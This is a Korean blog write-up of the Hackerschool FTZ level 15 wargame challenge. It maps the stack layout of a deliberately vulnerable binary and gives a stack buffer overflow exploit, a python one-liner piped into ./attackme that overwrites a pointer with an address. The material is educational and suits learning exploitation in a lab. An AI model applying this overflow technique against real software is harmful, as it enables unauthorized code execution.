딩굴댕굴

[Hackerschool FTZ] level 15 - 루틴분기(2)

by jennysgap

BOX


[Hackerschool FTZ] level 15 - 루틴분기(2)


Password: guess what


레벨14 소스와 비슷하다. 다만 check 값을 포인트로 사용했다는 점이다.


메모리 할당 크기는 56byte (buf에서 dummy까지)

[ buf 20 [ check 4 ] [ crap 4 ] [ dummy 28 ] [ SFP 4 ] [ RET 4 ]

여기서 문제점은 dummy의 정확한 위치를 모른다는 점이다.

※ if문을 통과하기 위해서는 check 값의 위치를 정확하게 알아내는 것이 중요하다.



주소를 확인하기 위해 코드를 추가해보면 dummy의 위치를 알 수 있다.

printf("input is : %s\n buf : %p\n check : %p\n crap : %p\n", buf, buf, &check, &crap);



758 [check] - 730 [buf] = 28(Hex)  →  40(DEC)byte

75c [crap] - 758 [check] = 4byte

[ buf ] <-- 40byte -->  [ check ]  <-- 4byte -->  [ crap ]

[ buf 20 [ dummy 20 ] [ check 4 ] [ crap 4 ] [ dummy 8 ] [ SFP 4 ] [ RET 4 ]





buf : 20bytes

dummy : 20bytes

check : 4bytes

crap : 4bytes

dummy : 8bytes

SPF : 4bytes

RET : 4bytes


check 값이 0으로 할당되어 있음 (데이터가 없음) 

그러므로 버프를 이용해서 주소 변경해야 함



배열의 주소 포인터를 원하는 곳으로 이동하여 공격

배열의 주소가 랜덤하게 변하므로 다양한 테스트가 필요하다.

(python -c 'print "\xef\xbe\xad\xde"*10+"\x28\xe9\xff\xbf"';cat) | ./attackme




반응형

블로그의 정보

jennysgap

jennysgap

활동하기